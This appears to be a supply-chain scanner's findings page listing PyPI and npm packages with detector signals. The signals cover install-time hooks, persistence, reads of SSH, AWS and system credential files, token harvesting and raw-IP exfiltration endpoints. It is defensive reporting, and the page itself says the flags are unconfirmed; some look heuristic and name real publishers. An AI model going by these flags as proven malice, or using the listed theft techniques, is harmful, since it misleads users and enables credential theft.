• MEDIUMPackage published 5+ versions in rapid succession (< 24h) to mimic mature open source maintenance.
• HIGHPackage registered recently (20 days ago) during the active AI hallucination slopsquatting wave.
• CRITICALINSTALL_TIME_CMDCLASS_OVERRIDE: 'CustomInstallCommand.run()' executes 'subprocess.run' during installation in vpspilot-1.0.0/setup.py:38
• CRITICALINSTALL_TIME_CMDCLASS_OVERRIDE: 'CustomInstallCommand.run()' executes 'subprocess.run' during installation in vpspilot-1.0.0/setup.py:39
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in vpspilot-1.0.0/setup.py:38
• HIGHINSTALL_TIME_EXECUTION: 'Python setup.py Custom Install Hook' found in vpspilot-1.0.0/setup.py:8
• HIGHSYSTEM_PERSISTENCE_TAMPERING: 'Systemd / macOS LaunchAgent Persistence' found in vpspilot-1.0.0/setup.py:35
• HIGHSUPPLY_CHAIN_EXECUTION_HOOK: 'PyPI Custom Install Class Override' found in vpspilot-1.0.0/setup.py:8

• INSTALL_TIME_CMDCLASS_OVERRIDE: 'CustomInstallCommand.run()' executes 'subprocess.run' during installation in vpspilot-1.0.0/setup.py:38
• INSTALL_TIME_CMDCLASS_OVERRIDE: 'CustomInstallCommand.run()' executes 'subprocess.run' during installation in vpspilot-1.0.0/setup.py:39
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in vpspilot-1.0.0/setup.py:38
• INSTALL_TIME_EXECUTION: 'Python setup.py Custom Install Hook' found in vpspilot-1.0.0/setup.py:8
• SYSTEM_PERSISTENCE_TAMPERING: 'Systemd / macOS LaunchAgent Persistence' found in vpspilot-1.0.0/setup.py:35
• SUPPLY_CHAIN_EXECUTION_HOOK: 'PyPI Custom Install Class Override' found in vpspilot-1.0.0/setup.py:8
• SOURCE_CODE_PERSISTENT_BACKDOOR: persistence mechanism combined with execution/network in vpspilot-1.0.0/setup.py
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in vpspilot-1.0.0/vpspilot/cli.py:84

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• HIGHPackage registered recently (138 days ago) during the active AI hallucination slopsquatting wave.
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in talisman_recon-1.1.0/talisman/ai/engine.py:43
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in talisman_recon-1.1.0/talisman/cli.py:137
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in talisman_recon-1.1.0/talisman/engine/plugin_manager.py:210
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in talisman_recon-1.1.0/talisman/modules/activedirectory/kerberos.py:20
• HIGHANTI_ANALYSIS_EVASION: 'TLS / SSL Verification Bypass (Defense Evasion)' found in talisman_recon-1.1.0/talisman/modules/api/grpc.py:35
• HIGHSUSPICIOUS_OBFUSCATION: 'Dense Hex Escape Sequences' found in talisman_recon-1.1.0/talisman/modules/api/grpc.py:19
• HIGHSOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in talisman_recon-1.1.0/talisman/modules/api/oauth.py:31

• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in talisman_recon-1.1.0/talisman/ai/engine.py:43
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in talisman_recon-1.1.0/talisman/cli.py:137
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in talisman_recon-1.1.0/talisman/engine/plugin_manager.py:210
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in talisman_recon-1.1.0/talisman/modules/activedirectory/kerberos.py:20
• ANTI_ANALYSIS_EVASION: 'TLS / SSL Verification Bypass (Defense Evasion)' found in talisman_recon-1.1.0/talisman/modules/api/grpc.py:35
• SUSPICIOUS_OBFUSCATION: 'Dense Hex Escape Sequences' found in talisman_recon-1.1.0/talisman/modules/api/grpc.py:19
• SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in talisman_recon-1.1.0/talisman/modules/api/oauth.py:31
• CREDENTIAL_PATH_HARVESTING: 'Cloud Instance Metadata (AWS/GCP/Azure IMDS)' found in talisman_recon-1.1.0/talisman/modules/cloud/aws.py:39

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage name 'c8kv-azure-utils' matches AI hallucination template [django] + [azure] + [auth].
• HIGHClaims critical enterprise brand identity ('AZURE').
• HIGHPublisher email 'c8kv-cloud-dev@cisco.com' is not affiliated with official vendor domain.
• MEDIUMPackage has empty or near-zero description (potential reservation stub).
• HIGHPackage registered recently (89 days ago) during the active AI hallucination slopsquatting wave.
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in c8kv_azure_utils-1.0.0/c8kv_cloud/as_azure.py:39
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in c8kv_azure_utils-1.0.0/c8kv_cloud/auth_mgr.py:69
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in c8kv_azure_utils-1.0.0/c8kv_cloud/eventhub_utils.py:26

• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in c8kv_azure_utils-1.0.0/c8kv_cloud/as_azure.py:39
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in c8kv_azure_utils-1.0.0/c8kv_cloud/auth_mgr.py:69
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in c8kv_azure_utils-1.0.0/c8kv_cloud/eventhub_utils.py:26
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in c8kv_azure_utils-1.0.0/c8kv_cloud/ha_azure.py:31
• CREDENTIAL_PATH_HARVESTING: 'Cloud Instance Metadata (AWS/GCP/Azure IMDS)' found in c8kv_azure_utils-1.0.0/c8kv_cloud/meta_utils.py:12
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in c8kv_azure_utils-1.0.0/c8kv_cloud/metric_utils.py:31
• SOURCE_CODE_ENV_VARS_ACCESS: 'Sensitive Token Harvesting' found in c8kv_azure_utils-1.0.0/c8kv_cloud/metric_utils.py:31
• CREDENTIAL_PATH_HARVESTING: 'Cloud Instance Metadata (AWS/GCP/Azure IMDS)' found in c8kv_azure_utils-1.0.0/c8kv_cloud/msi_auth.py:44

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• HIGHClaims critical enterprise brand identity ('CLAUDE').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• HIGHPackage registered recently (87 days ago) during the active AI hallucination slopsquatting wave.
• HIGHLIFECYCLE_SCRIPT: 'postinstall' -> 'node ./bin/postinstall.js'
• HIGHMISSING_SOURCE_REPOSITORY_URL
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'require('child_process')' found in package/bin/claude-tracker.js:18 (+6 more occurrence(s) elsewhere)
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/bin/claude-tracker.js:109 (+6 more occurrence(s) elsewhere)
• HIGHSYSTEM_PERSISTENCE_TAMPERING: 'System Persistence Implant (systemd/cron/registry)' found in package/bin/claude-tracker.js:121 (+1 more occurrence(s) elsewhere)

• LIFECYCLE_SCRIPT: 'postinstall' -> 'node ./bin/postinstall.js'
• MISSING_SOURCE_REPOSITORY_URL
• SOURCE_CODE_DYNAMIC_EXECUTION: 'require('child_process')' found in package/bin/claude-tracker.js:18 (+6 more occurrence(s) elsewhere)
• SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/bin/claude-tracker.js:109 (+6 more occurrence(s) elsewhere)
• SYSTEM_PERSISTENCE_TAMPERING: 'System Persistence Implant (systemd/cron/registry)' found in package/bin/claude-tracker.js:121 (+1 more occurrence(s) elsewhere)
• SOURCE_CODE_PERSISTENT_BACKDOOR: persistence mechanism combined with execution/network in package/bin/claude-tracker.js (+1 more occurrence(s) elsewhere)
• SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/lib/poller.js:20 (+2 more occurrence(s) elsewhere)
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/lib/poller.js:64 (+3 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →

• MEDIUMPackage published 5+ versions in rapid succession (< 24h) to mimic mature open source maintenance.
• HIGHPackage registered recently (10 days ago) during the active AI hallucination slopsquatting wave.
• MEDIUMPackage registered with suspiciously high major version (v6.0.2, major 6) despite recent registration (10 days ago, 3 release(s)), indicating potential dependency confusion attack to shadow internal organization builds.
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in agentic_bug_hunter-6.0.2/bughunter/agent.py:1292
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'eval()' found in agentic_bug_hunter-6.0.2/bughunter/brain.py:1788
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in agentic_bug_hunter-6.0.2/bughunter/brain.py:100
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in agentic_bug_hunter-6.0.2/bughunter/engine.py:233
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in agentic_bug_hunter-6.0.2/bughunter/engine.py:69

• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in agentic_bug_hunter-6.0.2/bughunter/agent.py:1292
• SOURCE_CODE_DYNAMIC_EXECUTION: 'eval()' found in agentic_bug_hunter-6.0.2/bughunter/brain.py:1788
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in agentic_bug_hunter-6.0.2/bughunter/brain.py:100
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in agentic_bug_hunter-6.0.2/bughunter/engine.py:233
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in agentic_bug_hunter-6.0.2/bughunter/engine.py:69
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in agentic_bug_hunter-6.0.2/bughunter/mcp/bughunter-mcp/adapters.py:45
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in agentic_bug_hunter-6.0.2/bughunter/mcp/bughunter-mcp/adapters.py:42
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in agentic_bug_hunter-6.0.2/bughunter/mcp/bughunter-mcp/cli.py:63

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage name 'fastcrest-tether' matches AI hallucination template [python] + [tether] + [fastcrest].
• HIGHClaims critical enterprise brand identity ('TETHER').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• HIGHPackage registered recently (89 days ago) during the active AI hallucination slopsquatting wave.
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in fastcrest_tether-0.12.0/archive/scripts/modal_libero10.py:142
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in fastcrest_tether-0.12.0/archive/scripts/modal_libero10.py:119
• CRITICALMODULE_TOPLEVEL_EXECUTION: 'subprocess.run' executed at module scope (runs on import) in fastcrest_tether-0.12.0/archive/scripts/patch_libero.py:50
• CRITICALMODULE_TOPLEVEL_EXECUTION: 'subprocess.run' executed at module scope (runs on import) in fastcrest_tether-0.12.0/archive/scripts/patch_libero.py:51

• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in fastcrest_tether-0.12.0/archive/scripts/modal_libero10.py:142
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in fastcrest_tether-0.12.0/archive/scripts/modal_libero10.py:119
• MODULE_TOPLEVEL_EXECUTION: 'subprocess.run' executed at module scope (runs on import) in fastcrest_tether-0.12.0/archive/scripts/patch_libero.py:50
• MODULE_TOPLEVEL_EXECUTION: 'subprocess.run' executed at module scope (runs on import) in fastcrest_tether-0.12.0/archive/scripts/patch_libero.py:51
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in fastcrest_tether-0.12.0/archive/scripts/patch_libero.py:50
• SOURCE_CODE_DYNAMIC_EXECUTION: 'eval()' found in fastcrest_tether-0.12.0/scripts/export_pi0_monolithic.py:155
• SOURCE_CODE_DYNAMIC_EXECUTION: 'eval()' found in fastcrest_tether-0.12.0/scripts/local_expert_diff.py:15
• SOURCE_CODE_DYNAMIC_EXECUTION: 'eval()' found in fastcrest_tether-0.12.0/scripts/local_full_diff.py:36

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage name 'claude-oneclick' matches AI hallucination template [python] + [claude] + [oneclick].
• HIGHClaims critical enterprise brand identity ('CLAUDE').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• HIGHPackage registered recently (126 days ago) during the active AI hallucination slopsquatting wave.
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in claude_oneclick-0.2.0/claude_oneclick/autostart.py:117
• HIGHSYSTEM_PERSISTENCE_TAMPERING: 'Systemd / macOS LaunchAgent Persistence' found in claude_oneclick-0.2.0/claude_oneclick/autostart.py:9
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_oneclick-0.2.0/claude_oneclick/cli.py:332
• HIGHCREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in claude_oneclick-0.2.0/claude_oneclick/desktop.py:57

• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in claude_oneclick-0.2.0/claude_oneclick/autostart.py:117
• SYSTEM_PERSISTENCE_TAMPERING: 'Systemd / macOS LaunchAgent Persistence' found in claude_oneclick-0.2.0/claude_oneclick/autostart.py:9
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_oneclick-0.2.0/claude_oneclick/cli.py:332
• CREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in claude_oneclick-0.2.0/claude_oneclick/desktop.py:57
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_oneclick-0.2.0/claude_oneclick/desktop.py:78
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in claude_oneclick-0.2.0/claude_oneclick/diagnose.py:144
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_oneclick-0.2.0/claude_oneclick/diagnose.py:220
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in claude_oneclick-0.2.0/claude_oneclick/launcher.py:66

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage name 'open-vllm' matches AI hallucination template [python] + [vllm] + [open].
• HIGHClaims critical enterprise brand identity ('VLLM').
• HIGHPublisher email 'aravindhvignesh58@gmail.com' is not affiliated with official vendor domain.
• HIGHPackage registered recently (81 days ago) during the active AI hallucination slopsquatting wave.
• HIGHEXFILTRATION_DESTINATION_DETECTED: 'Raw Public IP Endpoint' found in open_vllm-1.0.2/src/vllm_resilience_sdk/clients.py:64
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in open_vllm-1.0.2/src/vllm_resilience_sdk/clients.py:52
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Sensitive Token Harvesting' found in open_vllm-1.0.2/src/vllm_resilience_sdk/clients.py:53
• CRITICALSOURCE_CODE_POTENTIAL_STEALER: potential exfiltration endpoint combined with credential/environment harvesting in open_vllm-1.0.2/src/vllm_resilience_sdk/clients.py

• EXFILTRATION_DESTINATION_DETECTED: 'Raw Public IP Endpoint' found in open_vllm-1.0.2/src/vllm_resilience_sdk/clients.py:64
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in open_vllm-1.0.2/src/vllm_resilience_sdk/clients.py:52
• SOURCE_CODE_ENV_VARS_ACCESS: 'Sensitive Token Harvesting' found in open_vllm-1.0.2/src/vllm_resilience_sdk/clients.py:53
• SOURCE_CODE_POTENTIAL_STEALER: potential exfiltration endpoint combined with credential/environment harvesting in open_vllm-1.0.2/src/vllm_resilience_sdk/clients.py

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage name 'remote-claude' matches AI hallucination template [node] + [claude] + [remote].
• HIGHClaims critical enterprise brand identity ('CLAUDE').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• MEDIUMPackage has empty or near-zero description (potential reservation stub).
• MEDIUMPackage registered 182 days ago within the 1-year AI tool proliferation window.
• HIGHLIFECYCLE_SCRIPT: 'preinstall' -> 'bash scripts/preinstall.sh'
• CRITICALSUSPICIOUS_SHELL_COMMAND: Pattern 'bash' in 'preinstall' script
• HIGHLIFECYCLE_SCRIPT: 'postinstall' -> 'bash scripts/postinstall.sh'

• LIFECYCLE_SCRIPT: 'preinstall' -> 'bash scripts/preinstall.sh'
• SUSPICIOUS_SHELL_COMMAND: Pattern 'bash' in 'preinstall' script
• LIFECYCLE_SCRIPT: 'postinstall' -> 'bash scripts/postinstall.sh'
• SUSPICIOUS_SHELL_COMMAND: Pattern 'bash' in 'postinstall' script

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →

• MEDIUMPackage name 'phantom-agent' matches AI hallucination template [python] + [phantom] + [agent].
• HIGHClaims critical enterprise brand identity ('PHANTOM').
• HIGHPublisher email 'r_gadouri@estin.dz' is not affiliated with official vendor domain.
• MEDIUMPackage registered 196 days ago within the 1-year AI tool proliferation window.
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in phantom_agent-0.9.218/phantom/agents/base_agent.py:778
• HIGHCREDENTIAL_PATH_HARVESTING: 'System Credentials (/etc/shadow, /etc/passwd)' found in phantom_agent-0.9.218/phantom/checkpoint/checkpoint.py:95
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in phantom_agent-0.9.218/phantom/checkpoint/checkpoint.py:51
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in phantom_agent-0.9.218/phantom/config/config.py:308

• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in phantom_agent-0.9.218/phantom/agents/base_agent.py:778
• CREDENTIAL_PATH_HARVESTING: 'System Credentials (/etc/shadow, /etc/passwd)' found in phantom_agent-0.9.218/phantom/checkpoint/checkpoint.py:95
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in phantom_agent-0.9.218/phantom/checkpoint/checkpoint.py:51
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in phantom_agent-0.9.218/phantom/config/config.py:308
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in phantom_agent-0.9.218/phantom/config/secrets.py:91
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in phantom_agent-0.9.218/phantom/interface/cli_app.py:1547
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in phantom_agent-0.9.218/phantom/interface/cli_app.py:23
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in phantom_agent-0.9.218/phantom/interface/utils.py:813

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage name 'multi-aws-tool' matches AI hallucination template [multi] + [aws] + [tool].
• HIGHClaims critical enterprise brand identity ('AWS').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• HIGHPackage registered recently (110 days ago) during the active AI hallucination slopsquatting wave.
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in multi_aws_tool-0.1.2/multi_aws_tool/aws/sso_client.py:268
• HIGHCREDENTIAL_PATH_HARVESTING: 'AWS Credentials (~/.aws/credentials)' found in multi_aws_tool-0.1.2/multi_aws_tool/cli/commands.py:360
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'eval()' found in multi_aws_tool-0.1.2/multi_aws_tool/cli/commands.py:1828
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in multi_aws_tool-0.1.2/multi_aws_tool/cli/commands.py:1263

• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in multi_aws_tool-0.1.2/multi_aws_tool/aws/sso_client.py:268
• CREDENTIAL_PATH_HARVESTING: 'AWS Credentials (~/.aws/credentials)' found in multi_aws_tool-0.1.2/multi_aws_tool/cli/commands.py:360
• SOURCE_CODE_DYNAMIC_EXECUTION: 'eval()' found in multi_aws_tool-0.1.2/multi_aws_tool/cli/commands.py:1828
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in multi_aws_tool-0.1.2/multi_aws_tool/cli/commands.py:1263
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in multi_aws_tool-0.1.2/multi_aws_tool/cli/commands.py:1813
• SYSTEM_PERSISTENCE_TAMPERING: 'Shell Profile Backdoor Injection' found in multi_aws_tool-0.1.2/multi_aws_tool/cli/commands.py:1832
• SOURCE_CODE_PERSISTENT_BACKDOOR: persistence mechanism combined with execution/network in multi_aws_tool-0.1.2/multi_aws_tool/cli/commands.py
• CREDENTIAL_PATH_HARVESTING: 'AWS Credentials (~/.aws/credentials)' found in multi_aws_tool-0.1.2/multi_aws_tool/config/schema.py:47

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage published 5+ versions in rapid succession (< 24h) to mimic mature open source maintenance.
• HIGHPackage registered recently (0 days ago) during the active AI hallucination slopsquatting wave.
• HIGHEXFILTRATION_DESTINATION_DETECTED: 'Raw Public IP Endpoint' found in requests_cache_utils-1.0.0/requests_cache_utils/__init__.py:7
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in requests_cache_utils-1.0.0/requests_cache_utils/__init__.py:5
• CRITICALINSTALL_TIME_CMDCLASS_OVERRIDE: '_Install.run()' executes 'subprocess.Popen' during installation in requests_cache_utils-1.0.0/setup.py:9
• HIGHEXFILTRATION_DESTINATION_DETECTED: 'Raw Public IP Endpoint' found in requests_cache_utils-1.0.0/setup.py:11
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in requests_cache_utils-1.0.0/setup.py:9
• HIGHINSTALL_TIME_EXECUTION: 'Python setup.py Custom Install Hook' found in requests_cache_utils-1.0.0/setup.py:5

• EXFILTRATION_DESTINATION_DETECTED: 'Raw Public IP Endpoint' found in requests_cache_utils-1.0.0/requests_cache_utils/__init__.py:7
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in requests_cache_utils-1.0.0/requests_cache_utils/__init__.py:5
• INSTALL_TIME_CMDCLASS_OVERRIDE: '_Install.run()' executes 'subprocess.Popen' during installation in requests_cache_utils-1.0.0/setup.py:9
• EXFILTRATION_DESTINATION_DETECTED: 'Raw Public IP Endpoint' found in requests_cache_utils-1.0.0/setup.py:11
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in requests_cache_utils-1.0.0/setup.py:9
• INSTALL_TIME_EXECUTION: 'Python setup.py Custom Install Hook' found in requests_cache_utils-1.0.0/setup.py:5
• SUPPLY_CHAIN_EXECUTION_HOOK: 'PyPI Custom Install Class Override' found in requests_cache_utils-1.0.0/setup.py:5

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• HIGHClaims critical enterprise brand identity ('CLAUDE').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• HIGHPackage registered recently (73 days ago) during the active AI hallucination slopsquatting wave.
• HIGHCREDENTIAL_PATH_HARVESTING: 'SSH Directory / Private Keys (~/.ssh)' found in claude_usage_tracker-0.2.1/claude_usage_tracker.py:1614
• HIGHCREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in claude_usage_tracker-0.2.1/claude_usage_tracker.py:1633
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in claude_usage_tracker-0.2.1/claude_usage_tracker.py:1670
• HIGHSOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in claude_usage_tracker-0.2.1/claude_usage_tracker.py:2816
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_usage_tracker-0.2.1/claude_usage_tracker.py:59

• CREDENTIAL_PATH_HARVESTING: 'SSH Directory / Private Keys (~/.ssh)' found in claude_usage_tracker-0.2.1/claude_usage_tracker.py:1614
• CREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in claude_usage_tracker-0.2.1/claude_usage_tracker.py:1633
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in claude_usage_tracker-0.2.1/claude_usage_tracker.py:1670
• SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in claude_usage_tracker-0.2.1/claude_usage_tracker.py:2816
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_usage_tracker-0.2.1/claude_usage_tracker.py:59
• SOURCE_CODE_ENV_VARS_ACCESS: 'Bulk Environment Harvesting' found in claude_usage_tracker-0.2.1/claude_usage_tracker.py:1638
• SYSTEM_PERSISTENCE_TAMPERING: 'Shortcut Hijacking (.lnk Rewrite / Browser Extension Sideload)' found in claude_usage_tracker-0.2.1/claude_usage_tracker.py:4159
• SOURCE_CODE_PERSISTENT_BACKDOOR: persistence mechanism combined with execution/network in claude_usage_tracker-0.2.1/claude_usage_tracker.py

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage published 5+ versions in rapid succession (< 24h) to mimic mature open source maintenance.
• HIGHPackage registered recently (20 days ago) during the active AI hallucination slopsquatting wave.
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in actions_runtime-1.0.2/build.py:173
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in actions_runtime-1.0.2/src/actions/server/_action_package_handler.py:97
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in actions_runtime-1.0.2/src/actions/server/_actions_import.py:264
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in actions_runtime-1.0.2/src/actions/server/_actions_process_pool.py:272
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in actions_runtime-1.0.2/src/actions/server/_actions_process_pool.py:717
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in actions_runtime-1.0.2/src/actions/server/_api_oauth2.py:66

• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in actions_runtime-1.0.2/build.py:173
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in actions_runtime-1.0.2/src/actions/server/_action_package_handler.py:97
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in actions_runtime-1.0.2/src/actions/server/_actions_import.py:264
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in actions_runtime-1.0.2/src/actions/server/_actions_process_pool.py:272
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in actions_runtime-1.0.2/src/actions/server/_actions_process_pool.py:717
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in actions_runtime-1.0.2/src/actions/server/_api_oauth2.py:66
• SOURCE_CODE_ENCODED_PAYLOAD: 'atob()' found in actions_runtime-1.0.2/src/actions/server/_api_run.py:327
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in actions_runtime-1.0.2/src/actions/server/_build_common/process_call.py:28

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• HIGHClaims critical enterprise brand identity ('CLAUDE').
• HIGHPublisher email 'be2jay67@gmail.com' is not affiliated with official vendor domain.
• HIGHPackage registered recently (111 days ago) during the active AI hallucination slopsquatting wave.
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_ns_hub-0.3.45/hub-encode-daemon.py:96
